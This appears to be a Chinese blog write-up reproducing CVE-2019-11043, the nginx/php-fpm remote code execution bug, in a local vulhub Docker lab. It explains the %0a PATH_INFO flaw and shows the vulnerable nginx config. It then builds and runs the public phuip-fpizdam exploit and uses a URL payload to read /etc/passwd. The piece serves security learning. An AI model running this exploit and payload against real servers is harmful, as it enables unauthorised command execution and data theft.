Suchen

Suchen

OvO

CVE-2019-11043(PHP远程代码执行漏洞)

漏洞原理#

Nginx 上fastcgi_split_path_info在处理带有%0a的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm在处理 PATH_INFO为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。
该漏洞需要在 nginx.conf 中进行特定配置才能触发。具体配置如下:

location ~ [^/]\.php(/|$) {

 ...

 fastcgi_split_path_info ^(.+?\.php)(/.*)$;

 fastcgi_param PATH_INFO $fastcgi_path_info;

 fastcgi_pass   php:9000;

 ...

}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的 Regexp。Regexp 被损坏导致PATH_INFO为空,从而触发该漏洞。

漏洞复现#

本实验所用的机器为:Kali,创建了 vulnhub 的 docker 镜像。
首先安装 vulhub,然后进入相应漏洞的目录下, 执行 docker 镜像创建的命令。
命令为:

docker-compose build  docker-compose up -d

image
使用docker-compose config 查看该漏洞的配置
image
之后,访问该页面:
192.168.19.128:8080(192.168.19.128 为 kali 虚拟机的 IP)
下载安装漏洞利用工具
使用 GitHub 上该漏洞公开的 POC,获取安装包:

git clone https://github.com/neex/phuip-fpizdam.git

image
该工具需要在 go 语言环境下编译运行,所以需要 kali 装有 go 语言环境。
image
进入该目录后,执行命令:

go env -w GOPROXY=https://goproxy.cn
go get -v && go build

这样,工具就安装完成了。
接下来进行漏洞的复现:
在该目录下执行命令:

go run . "http://192.168.19.128:8080/index.php"

之后,就可以在http://192.168.19.128:8080该页面,使用参数 a 来传递执行命令了。比如,查看/etc/passwd文件的内容,就可以构造如下的 payload:
http://192.168.19.128:8080/?a=cat%20/etc/passwd

漏洞成功复现。

go 环境在 Kali 上面的安装可以参考该链接:
https://blog.csdn.net/WHQ556677/article/details/122283509

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。